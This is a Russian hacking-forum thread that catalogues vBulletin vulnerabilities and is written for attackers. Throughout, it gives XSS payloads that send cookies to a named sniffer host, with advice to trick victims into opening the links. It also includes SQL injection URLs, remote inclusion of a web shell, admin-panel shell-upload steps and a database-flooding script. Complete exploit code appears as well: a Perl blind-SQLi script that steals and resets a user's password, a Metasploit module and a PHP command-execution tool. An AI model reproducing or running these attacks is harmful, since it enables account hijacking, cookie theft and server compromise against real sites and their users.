Просмотр полной версии : [Обзор уязвимостей vBulletin]
На форуме есть обзоры уязвимостей ipb и phpbb, я решил сделать обзор уязвимостей vBulletin-). Итак начну.
Рассмотрим уязвимости трёх веток воблы: 2.*.*, 3.0.* и 3.1.*.
Узнаём версию форума.
В папке /clientscript/ находятся несколко js и css файлов в которых можно посмотреть точную версию форума.vbulletin_ajax_threadslist.js
vbulletin_ajax_namesugg.js
vbulletin_attachment.js
vbulletin_cpcolorpicker.js
vbulletin_editor.jsПример:www.xz.сom/forumpath/clientscript/vbulletin_editor.css
vBulletin 2
2.2.* - 2.2.4 - Выполнение произвольного кода
Описание уязвимости: уязвимость в vBulletin's Calendar PHP сценарии (calender.php) позволяет удаленному атакующему выполнять произвольный код в контексте пользователя 'nobody'.
Exploit: http://www.securitylab.ru/vulnerability/source/207147.php
2.3.* - SQL injection
Описанте уязвимости: уязвимость в проверке правильности входных данных в 'calendar.php'. Удаленный пользователь может внедрить произвольные SQL команды.
Пример: www.xz.сom/forumpath/calendar.php?s=&action=edit&eventid=14 union (SELECT allowsmilies,public,userid,'0000-0-0',version(),userid FROM calendar_events WHERE eventid = 14) order by eventdate
2.*.* - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки тэга email.
Exploit: [E*MAIL]aaa@aaa.aa"'s='[/E*MAIL]' sss="i=new Image(); i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null" style=top:expression(eval(this.sss));
Video: http://video.antichat.ru/file57.html
vBulletin 3.0
3.0.0 - XSS
Описание уязвимости: уязвимость существует в сценарии search.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример: www.xz.сom/forumpath//search.php?do=process&showposts=0&query=<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
3.0-3.0.4 - Выполнение произвольных команд
Описание уязвимости: уязвимость существует в сценарии forumdisplay.php из-за некорректной обработки глобальных переменных. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные команды на системе.
Пример: www.xz.сom/forumpath/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."
О командах читать здесь: http://forum.antichat.ru/threadnav7345-1-10.html
3.0.3–3.0.9 XSS
Описание уязвимости: уязвимость существует при обработке входных данных в поле Статус. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
Примечание: менять свой статус по умолчанию может только администрация, начиная от группы Модераторы.
Пример: <body onLoad=img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;>
3.0.9 and 3.5.4 - XSS
Описание уязвимости: звимость существует из-за недостаточной обработки входных данных в параметре posthash в сценарии newthread.php. Удаленный пользователь может с помощью специально сформированного POST запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример: www.xz.сom/forumpath/newthread.php?do=newthread&f=3&subject=1234&WYSIWYG_HTML=%3Cp%3E%3C%2Fp%3E&s=&f=3&do=postthread&posthash=c8d3fe38b082b6d3381cbee17f1f1aca&poststarttime='%2Bimg = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;%2B'&sbutton=%D1%EE%E7%E4%E0%F2%FC+%ED%EE%E2%F3%FE+%F2% E5%EC%F3&parseurl=1&disablesmilies=1&emailupdate=3&postpoll=yes&polloptions=1234&openclose=1&stickunstick=1&iconid=0
vBulletin 3.5
3.5.2 - XSS
Описание уязвимости: Уязвимость существует при обработке входных данных в поле "title" в сценарии "calendar.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример: TITLE:--------->Test<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
BODY:---------->No matter
OTHER OPTIONS:->No matter
Пояснение: заходим в календарь, жмём создать новое событие, и в заголовке прописываем <script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>, смотрим ссылку на наше событие и впариваем её тому у кого хотим украсть cookie.
3.5.3 - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в поле "Email Address" в модуле "Edit Email & Password". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Примечание: удачная эксплуатация уязвимости возможна при включенных опциях "Enable Email features" и "Allow Users to Email Other Member".
Пример: www.xz.сom/forumpath/profile.php?do=editpassword
pass:your pass
email: vashe@milo.com”><script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>.nomatt
Note About lenght limitation
****
forum/profile.php?do=editoptions
Receive Email from Other Members=yes
****
www.xz.сom/forumpath/sendmessage.php?do=mailmember&u={your id}
Пояснение: заходим в профиль и в поле email прописываем vashe@milo.com”><script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>.nomatt. Cохраняем. Потом ставим в опциях свой емайл видимым для всех. Теперь втравливаем кому нибудь ссылку www.xz.сom/forumpath/sendmessage.php?do=mailmember&u={your id}, где {your id} ваш id. Cookie уйдут на снифер.
3.5.4 - Дамп БД
Описание уязвимости: уязвимость существует из-за недостаточного ограничения на доступ к сценарию upgrade_301.php в каталоге 'install'. Удаленный пользователь может с помощью специально сформированного URL сделать дамп базы данных приложения.
Пример: www.xz.com/forumpath/install/upgrade_301.php?step=SomeWord
3.5.4 - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре url сценария inlinemod.php. Удаленный пользователь может с помощью специально сформированного POST запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример: www.xz.сom/forumpath/inlinemod.php?do=clearthread&url=lala2%0d%0aContent-Length:%2033%0d%0a%0d%0a<html>Hacked!</html>%0d%0a%0d%0a
Уязвимости в модулях vBulletin.
vBug Tracker 3.5.1 - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре "sortorder" сценария vbugs.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример: www.xz.сom/forumpath/vbugs.php?do=list&s=&textsearch=&vbug_typeid=0&vbug_statusid=0&vbug_severityid=0&vbug_versionid=0&assignment=0&sortfield=lastedit&sortorder=%22%3Cscript%3Eimg = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;%3C/script%3E
ImpEx 1.74 - PHP-инклюдинг и выполнение команд
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре "systempath" в сценарии ImpExData.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример: (1)
www.xz.сom/forumpath/impex/ImpExData.php?systempath=http://rst.void.ru/download/r57shell.txt
www.xz.сom/forumpath/impex/ImpExData.php?systempath=../../../../../../../../etc/passwd
(2)
www.site.com/forum/impex/ImpExModule.php?systempath=http://www.host_evil.com/cmd?&=id
(3)
www.site.com/forum/impex/ImpExController.php?systempath=http://www.host_evil.com/cmd?&=id
(4)
www.site.com/forum/impex/ImpExDisplay.php?systempath=http://www.host_evil.com/cmd?&=id
Exploit: http://www.securitylab.ru/vulnerability/source/264410.php
ibProArcade 2.x - SQL injection
Описание уязвимости: Уязвимость существует в модуле “Report” при обработке входных данных в параметре user сценария index.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.
Пример: www.xz.сom/forumpath/index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]
Где [any_user] id нужного нам юзера.
При использовании XSS c указанным в теме снифером. Логи смотреть тут: http://antichat.ru/sniff/log.php
Но лучше завести себе свой снифер -). Это можно сделать тут: http://antichat.ru/sniffer или тут: http://s.netsec.ru.
Шелл в vBulletin.
Разберёмся как залить шелл из админки воблы.
Способ заливки шелла в vBulletin 2.*.* и 3.0.*
1. Заходим в админку.
2. Смайлы.
3. Загрузить смайл.
4. Грузим наш шелл. (папка по умолчанию /images/smilies)
5. Заходим www.xz.сom/forumpath/images/smilies/shell.php
Примечание: сработает не везде.
Способ заливки шелла в vBulletin 3.5.*.
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда
Видео по теме:
http://video.antichat.ru/file105.html
http://video.antichat.ru/file95.html
http://video.antichat.ru/file57.html
http://video.antichat.ru/file3.html
З.Ы. Сильно не ругаться. Если где-то был не прав, исправляем, если что-то упустил, добавляем... Не стал вылаживать некоторые XSS т.к. версия форума у них повторяется...
еще дополнение:
Author: insanity
E-mail: insanity@darkers.com.br
XSS vBulletin 3.6.1 Admin Control Panel
http://www.exemplo.com/vbulletin/admincp/index.php?do=buildnavprefs&nojs=0&prefs="><script>alert("insanity")</script>
http://www.exemplo.com/vbulletin/admincp/index.php?do=savenavprefs&nojs=0&navprefs="><script>alert("insanity")</script>
LoneWolf666
16.11.2006, 19:36
www.xz.com/forumpath/install/upgrade_301.php?step=backup
вот это не стесняйтесь смело подставлять ко всей линейке 3.5.х, особливо к 3.5.1, проверено.
Уязвимы особенно нуленые версии vBulletin
Mr_Necromancer
27.12.2006, 09:03
VBulletin 3.6.4
Уязвимость позволяет удаленному злоумышленнику выполнить произвольный сценарий на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных при обработке входящих запросов. Атакующий может выполнить SWF произвольный сценарий и выкрасть данные аутентификации cookie.
Пример:
getURL("javascript:function blab(){}var scriptNode = +document.createElement('script'); document.getElementsByTagName('body')[0].appendChild(scriptNode);scriptNode.language='java script';scriptNode.src= 'http://www.YourServer/UrPHPpage.php?Cookie='+document.cookie +;blab();");
Информация по эксплуатации уязвимости описана ниже
http://forum.antichat.ru/showpost.php?p=558935&postcount=28
В список "уязвимости модулей" не плохо было бы так же добавить дыру в моде TopXStats (Статистика Х лучших). Ее легко узнать - в низу форума есть таблица с послденимим затронутыми темами. лучшими авторами и .т.п, таблица так и называется "Статистика лучших".
Пару месяцев назад там нашли дыру - не было фильтрации выходных данных, вернее на выходе данные спокойно трансформировались в html
Достаточно создать тему в заголовке которой указать код редиректинга на свой сайт, и псевдодефейс готов. Через meta redirect например. Тогда с гл. страници пользователей будет перенаправлять на ваш дефейс.
Для дыры достаточно скоро был выложен патч на Vbulletin.net.ru , но не все его установили, и некоторые все еще ставят старую версию хака (не пропатченную). Так что флаг вам в руки.
Вместо meta redirect'a можно так же вставить сниффер, но поле "тема" имеет ограничение на кол-во символов, так что может не поместиться.
Mr_Necromancer
22.01.2007, 11:07
Вот прикольный эксплоит для флуда форума.
Конечно это не поможет при взломе. но всётаки достаточно серьёзный баг.
<?
set_time_limit(60);
//You can change 10 to other numbers
for($i = 1 ; $i <= 10 ; $i++)
{
//to put curl to send POST request
$ch = curl_init();
//change http://localhost/vb3 to the url of the script
curl_setopt($ch , CURLOPT_URL , 'http://localhost/vb3/register.php');
curl_setopt($ch , CURLOPT_POST , 1) ;
curl_setopt($ch , CURLOPT_POSTFIELDS , 'agree=1&s=&do=addmember&url=index.php&password_md5=&passwordconfirm_md5=&day=0&month=0&year=0&username=x-boy'.$i.'&password=elmehdi&passwordconfirm=elmehdi&email=dicomdk'.$i.'@gmail.com&emailconfirm=dicomdk'.$i.'@gmail.com&referrername=&timezoneoffset=(GMT -12:00) Eniwetok, Kwajalein&dst=DST corrections always on&options[showemail]=1');
curl_exec($ch);
curl_close($ch);
}
//Flood finished good luck
?>
Кстати видел данный эксплоит на перле, он реализован с помощю сокетов, работает гораздо быстрее (не показывает каждый раз форму регистрации), и соответственно кушает меньше трафика.
В принципе с помощю этого скрипта переполнить базу данных и остановить работу форума и даже сайта, т.к большинство хостеров ставят ограничение на обьём базы данных, достигнув который, в базу данных уже ничего нельзя будет записать, не почистив её.
Mr_Necromancer
09.02.2007, 14:46
Вот свеженький баг, сам не проверял.
Программа: vBulletin 3.x
Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных в поле формы «Extension» сценарием admincp/attachment.php. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
Автор: semu
Дата: 08.02.2007 21:15:43
Чтобы юзать - должен быть доступ к админке, вобщем пригодиться конечно может в некоторых случаях.
Mr_Necromancer
09.02.2007, 15:50
Вот ещё для полноты темы:
Робит только vBulletin 3.0.0 Beta 2
Уязвимость в проверке правильности ввода обнаружена в vBulletin при просмотре честных сообщений. Удаленный пользователь может выполнить XSS нападение.
Сообщается, что сценарий private.php не фильтрует данные, представленные пользователем. Удаленный пользователь может сконструировать специально сформированную Web форму, которая, при загрузке в браузере пользователя, выполнить произвольный код сценария в браузере целевого пользователя в контексте vBulletin сайта. Пример: (требуется предварительная авторизация)
<html>
<body>
<form action="http://[victim]/forum/private.php" method="post" name="vbform">
<input type="hidden" name="do" value="insertpm" />
<input type="hidden" name="pmid" value="" />
<input type="hidden" name="forward" value="" />
<input type="hidden" name="receipt" value="0" />
<input type="text" class="bginput" name="title" value="" size="40" tabindex="2"/>
<textarea name="message" rows="20" cols="70" wrap="virtual" tabindex="3"></textarea>
<input type="submit" class="button" name="sbutton" value="Post Message" accesskey="s" tabindex="4" />
<input type="submit" class="button" value="Preview Message" access key="p" name="preview" onclick="this.form.dopreview = true; return true;this.form.submit()" tabindex="5">
<input type="checkbox" name="savecopy" value="1" id="cb_savecopy" checked="checked"/>
<input type="checkbox" name="signature" value="1" id="cb_signature" />
<input type="checkbox" name="parseurl" value="1" id="cb_parse url" checked="checked" />
<input type="checkbox" name="disablesmilies" value="1" id="cb_disablesmilies" />
</form>
<script>
//Set Values and Submit
// You can write your own JS codes
var xss = "\"><script>alert(document.cookie)<\/script>";
document.vbform.title.value=xss;
document.vbform.preview.click();
</script>
</body>
</html>
Уязвимость обнаружена в vBulletin 3.0.0 Beta 2.
Mr_Necromancer
09.02.2007, 16:00
Помойму этого тоже не было ,если не ошибаюсь:
Программа: vBulletin 3.0.6 и более ранние версии
Уязвимость позволяет удаленному пользователю выполнить произвольные команды на уязвимой системе с привилегиями web-сервера. Уязвимость существует при обработке имен шаблонов в сценарии 'misc.php' при включенной опции 'Add Template Name in HTML Comments' (не является значением по умолчанию). Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный код на системе.
Пример:
http://[target]/misc.php?do=page&template={${phpinfo()}}
Этот и предыдущий пост хорошо-бы перенести в начало темы, к ранним версиям воблы.
vBulletin <= 3.6.4 inlinemod.php "postids" sql injection / privilege (Требуются привилегии супермодератора)
http://milw0rm.com/exploits/3387
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «postids» сценарием inlinemod.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
http://www.xakep.ru/post/36982/default.asp
Ссылки на темы связанные с безопастностью (уязвимостями) vBulletin.
Vbulletin 3.6.x:
Нападение XSS на Vbulletin 3.6.x для НОВИЧКОВ. (http://forum.antichat.ru/showthread.php?p=218347)
----------------------------------------------------------
Все сообщения не содержащие информационной ценности или не имеющие прямого отношения к теме удалены.
----------------------------------------------------------
Ещё раз напомню, что в этой теме обзор уязвимостей форума, сообщения не имеющие информационной ценности ("Немогли бы взглянуть на этот форум", "Подскажите версию" и т.д.) будут удаляться.
Не смог найти тему куда выложить сплойт, выложил сюда, если что модеры перенесите.
Вообщем сплойт дёргает пароль у заданного юзера, если сплойт не остановить, то он этому юзеру еще и сменит пароль. Новый пароль из хеша состоит только из цифр размером 8 символов.
#!/usr/bin/perl
# Vbulletin module Petz with sql-injection.
# coded by k1b0rg(768620)
#
# This exploit changing your buyer.
# A new password consists of figures, the length of 8 and going to take a great brut of time(passwords pro);)
# If you do not need to change the password, simply stop exploit at the time of the removal of the password.
# Running exploit again sent two letters to the box. Be akkuratney.
# In the first test of vulnerability when sql error, the box webmaster sent a letter of error. Be akkuratney.
#
# dork: inurl:petz.php
#
# download module: http://dev.p3tz.com/
#
# Lamers go to жопа.
# exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1
#
# needly:
# mysql >=4
# magic_quotes off
# direct hands
#
# greets: antichat.ru mini-rinok.ru
#
use LWP::UserAgent;
use Getopt::Std;
use strict;
my %opts;
getopts("i:p:l:P:s:e:u:",\%opts);
my $url=$opts{u};
my $id=$opts{i} || 9107;
my $prefix=$opts{P} || '';
my $password1=$opts{p};
my $salt1=$opts{s};
my $length=$opts{l};
my $email1=$opts{e};
if(!$url || !$id)
{
echo('-------------------------FUCK YOU SPILBERG!----------------------');
echo('Petz sql injection');
echo('Founded and coded by k1b0rg(768620)');
echo('exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1');
echo('-------------------------FUCK YOU SPILBERG!----------------------');
exit;
}
my $browser = LWP::UserAgent->new();
$browser->requests_redirectable([]);
echo('Petz sql injection');
echo('Founded and coded by k1b0rg(768620)');
########check on vuln and getting prefix#######################################
echo('[\] Step 0: [Checking vuln]');
my $res=$browser->get($url.'petz.php?do=view&id=9995681\'');
if($res->content=~/Database error/i)
{
echo('[|] This script is vulnerable!!!!');
$res->content=~/LEFT JOIN (.*?)user/i;
echo('[/] Prefix is: ['.$1.']');
}
else
{
echo('[|] This script NOT vulnerable!!!!');
exit;
}
########password1################################# ######
echo('[-] Step 1: [getting password(one) user by id ['.$id.']');
echo('[\] Password(1): [');
if(!$password1)
{
for(1..32)
{
my $pos=$_;
for(48..57,97..103)
{
my $asc=$_;
if($asc==103) {echo('EXPLOIT FAILED]',0); exit;}
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(ascii(substring( password,'.$pos.',1))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); last; }
}
}
}
else
{
echo($password1,0);
}
echo(']',0);
########salt1##################################### ##
echo('[|] Step 2: [getting salt(one) user by id ['.$id.']');
echo('[-] Salt(1): [');
my $salt;
if(!$salt1)
{
for(1..3)
{
my $pos=$_;
for(33..126)
{
my $asc=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(ascii(substring( salt,'.$pos.',1))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $salt.=chr($asc); last; }
}
}
}
else
{
$salt=$salt1;
echo($salt,0);
}
echo(']',0);
########Checking email length#######################################
echo('[\] Step 3: [Checking email length ['.$id.']');
echo('[|] Email length: [');
my $num;
if(!$email1)
{
if(!$length)
{
for(6..32)
{
$num=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(length(email)='. $num.')/*');
if($res->content!~/Untrapped Error/is) {echo($num,0); last; }
}
}
else
{
$num=$length;
echo($num,0);
}
}
else
{
$num=length($email1);
echo($num,0);
}
echo(']',0);
########losting email#######################################
echo('[/] Step 4: [getting email user by id ['.$id.']');
echo('[-] Email: [');
my $email;
if(!$email1)
{
for(1..$num)
{
my $pos=$_;
for(48..57,64,97..122)
{
my $asc=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(ascii(lower(subs tring(email,'.$pos.',1)))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $email.=chr($asc); last; }
}
}
}
else
{
$email=$email1;
echo($email,0);
}
echo(']',0);
########lost_password############################# ##########
echo('[\] Step 5: [Losting password]');
$browser->post($url.'login.php',
[
email=>$email,
do=>'emailpassword'
]);
########losting activationid###################################### #
echo('[|] Step 7: [getting activationid user by id ['.$id.']');
echo('[/] activationid: [');
my $valid;
for(1..8)
{
my $pos=$_;
for(48..57)
{
my $asc=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.' useractivation+WHERE+userid=\''.$id.'\'+and(ascii( substring(activationid,'.$pos.',1))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $valid.=chr($asc); last; }
}
}
echo(']',0);
########lost_password############################# ##########
echo('[-] Step 8: [Losting password]');
$browser->get($url.'login.php?a=pwd&u='.$id.'&i='.$valid);
########password2################################# ######
echo('[\] Step 9: [getting password(two) user by id ['.$id.']');
echo('[|] Password(2): [');
my $newhash;
for(1..32)
{
my $pos=$_;
for(48..57,97..102)
{
my $asc=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(ascii(substring( password,'.$pos.',1))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $newhash.=chr($asc); last; }
}
}
echo(']',0);
echo('News hash && salt: ['.$newhash.':'.$salt.']');
sub echo{
my $text=shift;
my $param=shift;
my $razdel=($param eq 0)?'':"\n";
syswrite STDOUT,$razdel.$text;
}
vBulletin 3.6.2
Пассивная хсс
Уязвим параметр "id" скрипта "downloads.php"
Пример:
http://forum.asechka.ru/downloads.php?do=cat&id=5"><script>alert()</script>
vBulletin 3.0.7 - 3.6.2
Активная хсс
прикрепляем файл pdf созданный с содержанием:
<script>alert()</script>
и при открытии этого файла вылезает алерт.
этот способ работает в очень многих местах, также как и встраивание кода в картинку. минус этого способа, что не во всех местах можно прикреплять файлы.
Mr_Necromancer
18.05.2007, 11:27
Программа: vBulletin 3.5.2
http://www.securitylab.ru/vulnerability/source/243694.php
Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных в параметре «title» сценарием calendar.php. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
TITLE:--------->Test<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
BODY:---------->No matter
OTHER OPTIONS:->No matter
Пояснение: заходим в календарь, жмём создать новое событие, и в заголовке прописываем <script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>, смотрим ссылку на наше событие и впариваем её тому у кого хотим украсть cookie.
vBulletin 3.0.10
SQL Injection
http://123.com/portal.php?id=54&a=viewfeature&featureid=99999/**/UNION/**/SELECT/**/0,1,2,3,4,username,6,7,8,9,10,11,12,password/**/from/**/user/**/where/**/userid=1/*
vBulletin 3.0.6
Command Execution Exploit (metasploit)
##
# Title: vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit
# Name: php_vb3_0_6.pm
# License: Artistic/BSD/GPL
# Info: trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
#
#
# - This is an exploit module for the Metasploit Framework, please see
# http://metasploit.com/projects/Framework for more information.
##
package Msf::Exploit::php_vb3_0_6;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;
my $advanced = { };
my $info = {
'Name' => 'vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'str0ke' ],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
'RPATH' => [1, 'DATA', 'Path to the misc.php script', '/forum/misc.php'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a code execution flaw in vBulletin <= 3.0.6.
}),
'Refs' =>
[
['MIL', '832'],
],
'Payload' =>
{
'Space' => 512,
'Keys' => ['cmd', 'cmd_bash'],
},
'Keys' => ['vBulletin'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $vhost = $self->GetVar('VHOST') || $target_host;
my $path = $self->GetVar('RPATH');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
# Encode the command as a set of chr() function calls
my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
# Create the get request data
my $data = "?do=page&template={\${passthru($byte)}}";
my $req =
"GET $path$data HTTP/1.1\r\n".
"Host: $vhost:$target_port\r\n".
"Content-Type: application/html\r\n".
"Content-Length: ". length($data)."\r\n".
"Connection: Close\r\n".
"\r\n";
my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError){
$self->PrintLine(' Error creating socket: ' . $s->GetError);
return;
}
$self->PrintLine(" Sending the malicious vBulletin Get request...");
$s->Send($req);
my $results = $s->Recv(-1, 20);
$s->Close();
return;
}
1;
vBulletin 3.0.4
Execute command
magic_quotes_gpc должен быть выключен
<?php
if (!(function_exists('curl_init'))) {
echo "cURL extension required\n";
exit;
}
if ($argv[3]){
$url = $argv[1];
$forumid = intval($argv[2]);
$command = $argv[3];
}
else {
echo "vbulletin 3.0 > 3.0.4 execute command by AL3NDALEEB al3ndaleeb[at]uk2.net\n\n";
echo "Usage: ".$argv[0]." <url> <forumid> <command> [proxy]\n\n";
echo "<url> url to vbulletin site (ex: http://www.vbulletin.com/forum/)\n";
echo "<forumid> forum id\n";
echo "<command> command to execute on server (ex: 'ls -la')\n";
echo "[proxy] optional proxy url (ex: http://proxy.ksa.com.sa:8080)\n\n";
echo "ex :\n";
echo "\tphp vb30x.php http://www.vbulletin.com/forum/ 2 \"ls -al\"";
exit;
}
if ($argv[4])
$proxy = $argv[4];
$action = 'forumdisplay.php?GLOBALS[]=1&f='.$forumid.'&comma=".`echo _START_`.`'.$command.'`.`echo _END_`."';
$ch=curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.'/'.$action);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
$res = substr($res, strpos($res, '_START_')+7);
$res = substr($res,0, strpos($res, '_END_'));
echo $res;
?>
Shram-spb
05.07.2007, 19:52
Вот что нашел.. Чтобы узнать версию форума.. иногда помогает..
http://domain/forum/install/finalupgrade.php
И видим версию форума :)
тут вроде бы не звучало еще 2 ХССки...
не знаю точно в каких версиях но на 3.6.2 и 3.6.4 помоему работало...
В первом случае надо быть модератором (иметь право банить) и надо чтоб на форуме при бане было поле "причина"
вот само поле "причина" и есть уязвимым... ищем жертву для бана и в причине вписываем
Забанен за флуд <script>img = new Image(); img.src = "http://somesite.#ru/vash sniffer.jpg?"+document.cookie;</script>
теперь допустим хотим словить админа - скажите пусть зайдет посмотрит почему забанен пользователь или попросить разбанить из-за ошибки ( в общем придумать причину не тяжело) )
Во втором случае надо иметь возможность менять себе "Особый статус" и поддержку хтмл...
Мой титул <script>img = new Image(); img.src = "http://somesite.#ru/vash sniffer.jpg?"+document.cookie;</script>
А там думаю загадочного нечего нету ))
но это испытывал всего один раз... надо быть или знакомым админа или еще какието обстоятельство ))
_На некоторых сайтах стоит фикс типа ограничения колиества символов в строке )
--------------------------------------------------------------------
Добавленно от BlackCats (фактически тоже самое инфа про версию другая):
3.6.8 Patch.Level 1
active xss:
если вы модератор на форуме, то при бане в поле "причина бана" указываете ваш скрипт, и он сработает:
при просмотре забаненых пользователей через:
модпанель(например туда может зайти СуперМодератор)
админ панель(админ)
когда зайдёт юзер в свой акк(сам юзер)
clientscript/ieprompt.html
какойто недописанный скрипт.
global.php или arhive/global.php
в некоторых случаях
раскрытие путей
gemaglabin
13.07.2007, 05:14
Активная xss в популярном теге для булки - google и googlevideo
[U*RL=/onmouseover=alert(1);a="]213[/U*RL][/google*video]123
[google][U*RL=/onmouseover=alert(1);a="]213[/U*RL]123
vBulletin v3.6.5
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
[site]/vb/includes/functions.php?classfile=[Shell-Attack]
[site]/vb/includes/functions_cron.php?nextitem=[Shell-Attack]
[site]/vb/includes/functions_forumdisplay.php?specialtemplates=[Shell-Attack]
vBulletin V3.6.8
Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных во множестве сценариев множеством параметров. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:
[site]/[path]/faq.php?s=&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript&match=
all&titlesonly=0
[site]/[path]/member.php?u=1=s'&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2F
script&match=all&titlesonly=1
[site]/[path]/index.php?s=<script>alert('document.cookie')</script>
